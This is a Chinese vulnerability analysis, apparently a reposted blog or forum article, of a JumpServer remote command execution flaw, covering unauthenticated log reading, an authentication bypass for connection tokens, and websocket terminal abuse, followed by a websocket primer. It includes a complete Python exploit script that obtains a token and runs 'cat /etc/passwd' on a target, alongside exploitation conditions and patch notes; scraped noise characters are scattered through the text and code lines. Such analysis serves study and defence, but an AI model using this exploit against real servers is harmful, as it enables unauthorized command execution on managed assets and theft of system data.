图片( {6 n. y( P2 f# R: ?
" ^9 w3 \; i; a% a: q
上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。
; _  V" w/ W1 r( U8 i  l, L
; Y6 H" L3 v% ~- b6 ]" Bws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e9 N, N% C' Q% j& z! M* h2 t$ [, \4 Z
图片
% v) {* H1 k) o" x8 W- c! f7 Z9 |% ^6 M5 c0 C
借助脚本进行websocket通信6 u; B5 Z  n% {& i+ x

6 ]) ?% d- x& |. S* n1 |( bimport asyncio
3 q( ?" J# u" k3 @$ y) S4 cimport websockets
6 m# @3 m: E  m' _' |* R( Bimport requests  _. m$ r- U, K* M) }6 ^
import json. B4 S. f8 V8 X9 }0 f
url = "/api/v1/authentication/connection-token/?user-only=None"  O" S3 f& s8 m/ v
# 向服务器端发送认证后的消息
$ [0 [* j8 O5 aasync def send_msg(websocket,_text):4 Q& p) Y9 P; K  g; Y
    if _text == "exit":3 z, n0 E% f0 B+ B
        print(f'you have enter "exit", goodbye')
: s6 G8 r( k. ^        await websocket.close(reason="user exit")- T5 ?5 _8 `0 l: o$ o
        return False9 _* `& P" v( ^- F2 Z$ P# I
    await websocket.send(_text)
! Q2 f* ~7 P5 c5 V    recv_text = await websocket.recv()) H/ F+ a% K6 _% U0 N9 Y9 _/ o- z. |
    print(f"{recv_text}")
+ ^2 e; T4 q2 U% p& h& F# 客户端主逻辑# j; e) Y; A1 q9 V1 G( M
async def main_logic(cmd):9 G- _8 a9 e" G! {1 O% _
    print("###start ws")1 t+ `5 a; L( Z5 e
    async with websockets.connect(target) as websocket:
& Z. e' I5 b/ m) K. G1 _6 X        recv_text = await websocket.recv()
4 ~' F  ?, T1 @* X        print(f"{recv_text}")% K+ s% [3 _$ |- ~/ M/ Z
        resws=json.loads(recv_text)
. j, K8 m. `/ g7 D        id = resws['id']/ t# r* w, a; v& D
        print("get ws id:"+id)/ t- a5 E6 v  c* ?0 J+ X2 \
        print("#######1########")+ M/ ^! y1 j5 [+ @# l9 [
        print("init ws")
0 l- Z" J) A0 |  W1 m        print("#######2########"), L' o3 W3 @' X
        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})% a; G+ i! F8 z3 H& ~  S
        await send_msg(websocket,inittext). i% c1 \+ f7 x- q+ U2 ?; }
        print("########3#######")3 \+ M* ^- f; P* H
        print("exec cmd: ls")
% \" c7 D: C. N8 Q* ]' _" `$ Y        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
( J. l7 K4 [2 g1 i: |2 {        print(cmdtext)  X/ O0 U( |# F
        await send_msg(websocket, cmdtext)
) m, n9 r0 n: D+ F. q        for i in range(20):$ j) k  g1 b; }  q6 V! b% U+ ^' h* L
            recv_text = await websocket.recv()# E# y. k2 V  ~% c. P7 {
            print(f"{recv_text}")% v; T; t4 j: b) j3 g
        print('###finish')2 h/ H; T" Y- D
if __name__ == '__main__':
8 F( C4 Z* A9 `  p    host = "http://192.168.18.182:8080"8 ^8 t( V* f3 H( |) H  }
    cmd="cat /etc/passwd"- ~2 S1 h2 l' V5 j. T5 K& c9 z3 k
    if host[-1]=='/':9 J6 g, R) b9 u0 m
        host=host[:-1]  |6 t2 y) ]! i
    print(host)) P  ?) [& Y* u& p) A: o" ^  I
    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",
+ N( [+ X, @( x# W; `            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}
+ k3 [0 o, b6 }% f( S. D2 _+ c9 K    print("##################")
* j7 W* ~2 I" _" S5 F7 h- u    print("get token url:%s" % (host + url,))
, _, K2 F# v) D7 y: w    print("##################")
4 t9 z3 |" I0 ?    res = requests.post(host + url, json=data)
2 Z8 P4 d1 s" ?& F  b    token = res.json()["token"]
* e  E, Y# I1 n2 X5 \; U* \, m    print("token:%s", (token,))
. a4 P) G% }4 x    print("##################")
( K; L- r, a0 Y- X  x0 b( J  y    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token. w* q/ v) T2 X. U0 f: l- ~
    print("target ws:%s" % (target,))
* u; r, y" v, q, I- d5 u" h    asyncio.get_event_loop().run_until_complete(main_logic(cmd)
0 B# K* P5 }4 D5 j* t成功执行 "cat /etc/passwd" 命令$ e2 n5 e4 O* `9 I

+ W7 z3 O/ [! e9 v图片
: h/ }: _- k. K9 m( e: N
" Q0 o' Q( X' a  \1 _利用条件% y2 C+ k2 S8 r3 ^' Y6 ~
1.web终端登录方式为免密自动连接。
4 w3 N- F, p3 Y/ Y1 }$ J. W6 h. C$ g% T4 ?
若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。
$ c9 G( Q) h9 U# A  F- C( c9 P) r: @( g9 k) m8 L+ {$ e9 k' ]
图片
; u$ t3 ?' m4 k* c+ b! w# Z0 j4 y/ C6 M. C9 ~9 Y/ h! }/ P
当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。
& f( j9 r( E5 @6 l6 b: B2 T' p* p# _) `& A+ a: x
图片
- ~, w! _1 q- g0 `9 I4 I; E( L' q$ B' k5 ?& t! s
只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码* Q4 n$ Q* T- |6 Z8 Q/ A5 `0 j
9 t8 `% h) [5 m, A; r
,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。
( J9 V" y& P3 I. _6 y& |' y( ?7 l# x- r* ~& y' [4 |- j' R
开启自动登录和自动推送。6 k( ]8 I/ X0 D! a! @

# I" f$ k0 ]0 V6 l! |1 ^3 w如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。
& b3 y$ a# r1 m# w" s7 \8 L$ U: b- w9 d# ~  x1 r3 u
图片% s$ D4 j: J6 \% `4 @( d
# L6 M1 g4 H& ^
此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。* j: n* @7 r7 }

  E8 r: k5 y) F1 }4 o图片0 j' _; X: K6 b$ `; x

* w6 Y! R; _9 l) R. J& b+ F这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。! Y0 q% r4 r1 }2 u0 n
: @3 H& q" `# G7 [7 X
图片
& k3 V: k" U, n& C8 j/ O" Y6 e) B
jumpserver通常的配置都是自动登录的,这一条件容易满足。# g; o8 {9 L6 V; N! i" X" `4 s
' i6 ]5 B( Y$ p& J5 r8 }
2.系统用户在web终端与目标资产建立过连接。( g' h5 X2 e6 I0 }0 G# E

+ D2 d  ?) [0 l, [* |+ {$ j只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。/ b7 D* P, b1 e6 k  V5 W

+ j7 g7 z: |- G- m& g3.系统日志路径已知
# W7 b/ P* `+ k
" V6 R1 c: p7 h# h1 X! d. t系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。
, m- _6 L4 D( i3 E4 U% ?; N7 ?$ f: _: R+ ]3 d
攻击流程回顾$ |0 t9 J! }2 G9 @8 v
1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件2 z: Q7 c( F' {8 g! k

# A: G! h# z" ?$ V' ?" ?2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)
8 P" ~6 O/ M# I6 K8 o: {/ Z" c! o0 D2 ?6 g
3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token( A6 b: n( x% V  m; d+ ?! R1 z  V
* T( {2 Z3 T0 ~: j) L6 y; U  t
4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。
; l2 g5 O8 e- t0 k$ h
0 |2 t, E" t8 B1 B1 H图片& X1 g' ~& U! z: [) @& P+ S

* L' s1 U) U1 T! k9 V$ B0x03漏洞分析) V9 ~& B8 ^8 z2 z' T) G
日志文件读取2 x. ~& z3 \" P. q. ^5 y1 L
读取日志文件的接口为ws/ops/tasks/log/0 B; x! S' h& ^" m/ O

# P2 {* }0 J3 K图片
6 |% n- E8 q1 L# o# \. W2 R
) o- F+ A# Q- i; Q分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证( t5 n9 m. @! p3 }1 r
* ~1 Q. }) c2 X( D' n7 W! s" Z9 H
图片! Y+ `+ P1 }, z! B
" E2 z" {& Z* M! f* I2 R- N* C
receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task(). Z+ H. U2 k3 q! @- _6 }  O

  U, t; U$ n+ O2 X5 n, ~  t图片
# p4 B8 a0 D: M9 Z, S0 I
& K7 Z* Z5 r0 u) Iself.handle_task(task_id)
4 M4 F$ @; u% ~% `7 p# e) e( i4 y" b
# p, i! H' J5 u4 N-->self.read_log_file(self,task_id)* V! N3 l" V. n) P/ D7 |
2 s5 m4 Y4 A* ~
-->self.wait_util_log_path_exist(task_id)2 e6 Y7 V; K8 {8 X1 |, G

* `, C( h9 K2 F1 H$ ?: q5 A--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。; g; T7 Y$ A4 F* _  p5 ~, {
( j4 x4 f: {; G4 n+ n" X
这里也是“task”参数值中的文件路径无须携带.log后缀的原因。
- p" r7 F, }/ y' v$ g
* A4 Y( \$ M; H- F3 N图片
% R) |0 I% \. O( c9 K# {
! ~. s& Y& D$ U# y# b, y; [% A9 F当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。
( _. }, F) b/ U" U8 a4 M3 P6 m( _: |" W/ T- p
图片: N% r9 i& T$ j+ K; w+ H' ?+ E" c" i

$ c& {* @  [! J图片
! N0 u1 E6 k4 b" A  d" X: ~) G9 u) ^' Y' ~8 V
对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到& C, o. }* j( N0 I& p1 U

+ T% t# ~+ `' F8 b+ R! o: {图片
7 p: L$ v9 f) U; m( G7 {- A5 _* q% n9 D
绕过身份验证获取token5 e' U! S3 A% }7 z
apps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。
3 F/ V0 z. n% o5 }# l
/ I! s0 k: Z; Q图片2 g+ d. H8 O  M' H9 g/ K
' l$ e% u  q% i' E" }  f- w" D9 P
分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。% y  V! W4 |# r" L- j! k  r. O

  d" |. S% I3 eget请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。
: h" {; A1 Z6 e) L2 k0 o8 V% z4 P; V  L+ s% u; g
图片
3 q' J, o( o6 f3 B0 a* R/ y9 j
/ F5 `8 W: C3 s4 V: ipost请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。  c. [9 m% |- V) N6 n  x' G
" m/ G: r( I2 `1 E
图片4 ]. A5 |, N  K! i2 ~0 s( I& U( n
) [& {" k! a" G" h, c
apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处
- c0 x( O, I! }: H6 l& H. G+ h5 i5 P6 u6 o
图片
) X6 N& w- }$ U7 Q0 p0 O
# D! W3 m& t: x: G1 q; }' r1 }刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。+ B# S4 ]2 g) `- @0 s
  H( E! i9 Z2 M& }1 D3 m
/api/v1/authentication/connection-token/6 ^' I+ ]2 V6 `
/api/v1/users/connection-token/
7 Y% n  r$ E5 S" T: TWeb Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/lu ... pp/services/http.ts
! ~+ z( ?, v, R+ |* g: y) E+ @- a) O8 _* V9 D1 e: e
图片
: f- C7 M" G; P) [- o
, l3 j/ J1 F7 a# e) L' c  a3 wwebsocket建立TTY终端会话5 M" Z. w. u2 ]8 h  f3 m
这个漏洞是通过websocket通信建立TTY终端,从而执行命令。+ E+ }; u- I1 R+ t5 O( q

+ V# [/ i9 q( a' y* }& h! i9 vJumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。
5 d- N4 a( D: U( x5 p# `4 p+ o! C
! J+ n8 i6 G! t& rhttps://github.com/jumpserver/koko
2 f9 b' q6 x& c6 s9 p: }4 |: @! ^7 B& P  T* q
建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现
& U; f- I7 y$ S+ q$ N6 V4 E! q4 D1 x7 o4 k5 _8 d5 z
图片5 E" b1 U' ?- s2 V( I) u

# D* |) W0 p* o8 }0 z1 o- F只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法) ^; ]2 S' X! w
, r9 Z9 n. f7 [/ E. I4 R# O
图片
( O' z; i4 u; W5 B6 u* r+ s0 W/ P
, [: ~* Y( j' n1 ]* |" U对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()
+ B  @; ~. O( }7 e* S' Q( {' J3 U
+ ^! @4 p1 {& H8 H+ f# q图片8 |; a$ M$ T1 T+ b0 a

# p6 M4 z4 [9 K6 ?6 [/koko/ws/terminal/
4 L2 W- ^" N6 n5 u, o, U$ N' e/ b- w系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口
9 ?- Y. t* j3 u" G7 n( D* ~5 _+ d( B7 [  z, e7 w
图片; j) k1 F4 X8 k9 Q. f0 c

) m& p& ^- P5 m% ~ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
! ]1 j5 Q% G# {; v* L! D0 k! @0 I进行websocket通信
! Y* n. A1 {: }1 o! @& U3 F8 L$ R( U. M/ O7 @; T
图片: C# Y7 W1 M! j' M

3 n' |5 W- y% l% j7 D5 w# S5 MprocessTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。  g8 ]7 Q: Y- f8 c3 b+ Y
2 {7 x- X5 ^. J% P* \
注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。
0 g$ p2 Z7 a3 D$ U& n& o! L0 I: [0 `# w' m& \
图片  d/ W3 P# g. A0 G$ T' ~
/ ?5 v* z) A1 m( G
系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。) j. s/ h: L# E' W# W

5 O! i, D9 X" z7 O+ {2 N5 I注意到 /koko/ws/token/ 接口却是无此类限制的。
3 a, x, y( Q8 m2 |; p: P/ ^7 ~1 t  s* a) u1 m0 E/ U0 b
图片# Y9 L: r+ `9 W7 O+ g
; n1 Y( W3 y+ f3 }6 g, z* _
/koko/ws/token/& g1 h! @: h; Q1 s
/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。1 g" Q: k8 b) B/ }8 [. X% t
( H  d& e) b6 H- D( ^* y, g+ Z6 j/ C
图片
5 h4 N% G! A7 R; h) [# z
/ Q1 s3 M7 ~1 q, W2 r发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。
* B4 I* X0 F/ H" y" e, c$ }; w  |" X1 x2 z
图片
! e% k8 l& ]/ @
- _& i1 K4 k8 G图片
9 A: V0 a& P$ @* S" C. h$ W4 G$ p' Z+ S. D& A7 `
上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。
. b8 }$ j9 Y8 I6 b4 r2 V4 k! s# u1 K' n; R
图片
1 ^5 x4 t. K, ?+ ?0 ~& a' `; {6 F/ J% ^2 p/ v, ]9 Q
本次通信则是仅携带有效token,从而获取该用户所有身份信息。% ]) V( J7 F0 p3 B1 h+ r

8 H2 ?5 x8 c0 U  L4 U  ?/ p图片9 P6 A- D' R) o' d- o9 q; a! m$ u

% u  `! q4 h0 N) N综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。8 o. ~' R; s( h
* X; _  D0 ]( Q8 X+ @
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
' F( P# ]" _: n6 n  c; n{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}# n7 X0 k6 W# O( P+ O  e# z2 m" x
{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}
) {9 \6 X2 z. q" r4 [1 n2 j图片% F8 G0 ?# P6 D. b
, t, K& m+ p& ~* e
而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。: f" p# i2 m6 F, Q' A

) K% |. H+ \+ y0 D3 I9 i( u; J补丁分析! i4 L7 X! P" m2 P# X. {" T7 B
漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。, p# y+ X5 m2 x. g* r' Y

* K/ s# g9 x, x- M1 |https://github.com/jumpserver/ju ... d1ccf19d683ed3af71e( K0 d' K" i, b
3 H4 h. c2 A9 y1 k6 o7 F
图片* w6 I# r0 l( ^2 b
7 ?' P/ j3 y* ^$ @* R
0x04关于websocket  s; |  ^0 P. {3 p6 L$ U
WebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。
+ }0 u' j% _' Y% ^" w0 |4 j8 d& @1 p+ g: y- S2 H  ?
HTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。
" X, G5 i5 ^7 Z% `; n) }
1 i% D" e" P# I& v7 j8 fWebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。3 `4 P, ?& ~8 j

  m" h$ K  R8 oWebSocket特点:
8 _, ]1 K+ q! _" s+ A( V7 Z# {0 O9 M4 P8 [
1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。$ D' X' c3 }' h4 E1 j$ K
4 w. b5 K. G) o9 Y# B, K, q
2.可以发送文本,也可以发送二进制数据。
1 |" {& ]2 |& B' T, r# E- u7 e6 A
( \9 D" I5 W  ?, P4 K) b: w) ?: u3.没有同源限制,客户端可以与任意服务器通信。& n! @6 K0 ^, Y/ o; t, u
4 y! U/ L# T  d# U' j
4.协议标识符是ws(如果加密,则为wss)  h& U9 m6 l& c+ l& _- y0 m

* z$ T7 }6 j" H  {* d7 `WebSocket通信. g2 O% `! @  c( Z; {! K
WebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。* V2 c! r/ e8 d  A# [3 @. N& Q/ h& P

6 p/ F! V. a% A2 O0 z2 b* d3 \图片
7 E* K+ R# Y# j9 @4 f; H9 n, Y, y$ M6 B
建立连接1 I4 s( O0 `8 Z/ n
客户端请求报文:
( Q' u" l4 X9 j: s; T
% d3 [  m+ }* yGET / HTTP/1.1
2 c" _6 ~5 C  e7 N, cUpgrade: websocket7 X2 M% v5 K$ J% v! l8 u  a6 q
Connection: Upgrade
( [8 v* A: E  b' DHost: example.com$ Q+ V4 O. P5 l2 P- {
Origin: http://example.com
1 ?+ }; L0 U0 q& ^: gSec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==
9 J- u7 N: @8 T8 j. a3 @4 GSec-WebSocket-Version: 139 d% {0 T2 x3 X0 {, h" L" C
Connection、Upgrade字段声明需要切换协议为websocket
. z" u5 y0 a7 Y# n& _1 nSec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。
- {% m% T5 m, L( N( F8 I* kSec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。
7 C, H& y8 t4 `* t
# Z% h# u3 n& ?7 |5 h服务端的响应报文:6 q7 n% z1 \. Y' O' h" V6 E

% _# g( e9 q' ^4 Q/ _; }HTTP/1.1 101 Switching Protocols
2 o' |7 l& t0 x( A8 O1 [Upgrade: websocket9 W' g6 U( C* J* @3 X1 P1 V
Connection: Upgrade6 [8 e- h! }' p% k! M7 w- J0 F2 N
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=
- h& g, ~. [) F* w, W; dSec-WebSocket-Protocol: chat
  e1 s( Y) A+ _Upgrade消息头通知客户端确认切换协议来完成这个请求;% u0 D: L4 o. i7 M
& K! s  D( m  R
Sec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;
: Y, w" d3 e; w* e
( z/ O" C8 k" b; [8 q& hSec-WebSocket-Protocol则是表示最终使用的协议。0 L" u2 [2 u+ k4 ]+ o' t/ ^

  D( ^5 {% t! [( a注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。
* Q9 K& o0 v& x1 I1 h
7 C+ ~! C5 h7 M1 W* Y8 l进行通信5 R& t* ]1 U/ b1 V- c4 q  u
服务端接收到客户端发来的Websocket报文需要进行解析。( a7 D" K  b: ^% G5 \( j
5 S) g3 G* I3 B* q/ T* ?1 J$ C* ^7 e5 I
数据包格式9 _& V+ n- p; a& _1 f7 o
' u! Y0 ]" d" P, P
图片
) O# I+ t  I0 k1 q5 }+ `$ e) J) [' l2 F7 d; w
Mask位表示是否要对数据载荷进行掩码异或操作。8 c- A5 L% E' l- Z

" g# ?* R8 p# F# GPayload length表示数据载荷的长度。9 S& p: v8 C9 [! R+ U

: i) @: e* k7 X. ?# j, R+ IMasking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。
! e  k$ ^5 z4 ]6 x5 l) T$ P" A8 G$ b% Y( ^' C
Payload Data为载荷数据。  t* }+ S. I0 m+ M+ S
) q0 }8 Y5 A1 h/ ?- ^  `
服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。, ^  n4 ~) @% m5 {- t- V9 Q
; s, k- u+ r, y$ n; ?; r
心跳
$ D, o5 {# J2 l0 h7 R# HWebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。! b9 K! `3 L5 I1 E1 V
3 S. E. u  \2 p% j. [# ]% X
发送方->接收方:ping2 E0 g% t0 s" r) h
. G8 d' S% v0 P/ |4 @
接收方->发送方:pong8 v7 T" c( a- Z& @6 S0 l

1 _, H6 w) g0 A3 y, wping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。0 |. G) k6 P& r0 M" G+ L

  Q4 w. ?4 ^! ^) K关闭连接  ^* a0 m% ]. D0 C( R, i
关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。3 s7 s% Z  q) ?/ J# L/ m
' L  }( H# T. b% E% [( N" O
Web Terminal实现
) w. g1 J; B4 J4 l3 ?; o& t& u通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。9 t/ S, F$ q% z  ~& p" n
. S6 h) L% ?# y% a
终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。5 T( S/ F' [- \2 z7 a0 |) g

! k8 S: U% u  ]4 i, y2 uWeb Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。
" K' Y2 a7 [1 O; B! O7 ~
1 Z$ T8 O& e: U) M3 Z0 |2 a实现思路:
  n- B9 i% ~; ^$ p9 G  }, Q2 P; X. r2 Q9 A/ K; u
1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道$ O& ^: F8 `+ G3 ?& _( Z
2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel
( g# u' Z' z: N: C4 k+ `& l0 }% _3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell
" ]9 F, I1 b( M9 K& c8 ~' v$ S4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。5 O5 E$ q% e; }4 V) X1 @8 S
5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal) x- M1 y2 K9 [# ^; G
* A; q- D- ^2 c; W' O6 ~* e" X
图片
; X! n! b$ g2 I1 B9 a
6 o. {! X" C9 `( bJumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。3 |2 I8 P- K9 @7 y
* d* ^' {. r" |$ V8 m6 w  [
图片
4 D3 _. ]/ J7 k9 F) S  i' c& k# f8 T- F0 j2 L
携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议
$ D: r& t% \( _  B5 Y" l+ ?: S0 o9 L  I1 Y! t" h
GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.13 D/ ?" \$ {; [4 k* c
Host: 192.168.18.182:8080
0 j! r, e$ C! m' ^5 RConnection: Upgrade
2 _2 V5 k, X4 F7 j- _Pragma: no-cache
+ I- L/ V& g- k: `. Y/ J0 P, g5 m' CCache-Control: no-cache
  ?! _8 e  ~) z' [2 N( E  QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
8 ]8 K  o9 I% N2 dUpgrade: websocket
- [) g, M, d+ f+ UOrigin: http://192.168.18.182:8080
0 z  Q5 p$ w% z) t: [1 ?Sec-WebSocket-Version: 13
' }7 J$ }! v4 l( W: rAccept-Encoding: gzip, deflate
% Z9 b: }& F% D0 v  X( K' y; I! QAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
2 [6 c5 h* U+ ?" q6 ICookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146
; t$ N6 ~" ^2 C0 ^8 TSec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==% f/ H! P- ^% |  d
Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
9 @% ^4 s5 {) C/ M7 E0 N+ G# R, dSec-WebSocket-Protocol: JMS-KOKO
5 z  M! W1 Z7 z8 b$ O+ J6 g服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。) R+ d1 W) `& r
3 r3 }9 B9 V2 d4 o0 n
HTTP/1.1 101 Switching Protocols/ W# h8 }1 `1 S/ n* Q
Server: nginx
2 P! S$ y7 S  w! B. J$ BDate: Mon, 01 Feb 2021 17:29:47 GMT" g2 z$ M) u* |# T1 K
Connection: upgrade
3 R7 \$ f/ e1 kUpgrade: websocket! |+ ~: V, C6 b7 Y9 M
Sec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=" j. |' z1 I) t) M
Sec-WebSocket-Protocol: JMS-KOKO
0 o7 b6 X3 Y- ]4 {8 l' V1 J# I注意到使用web终端功能时,系统主要发起两个请求,分别是
( V% q. G  d0 R: ~* ~" C& p  L  F9 z0 ]7 _
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d732 F1 G) ^$ l( B3 P+ x1 j
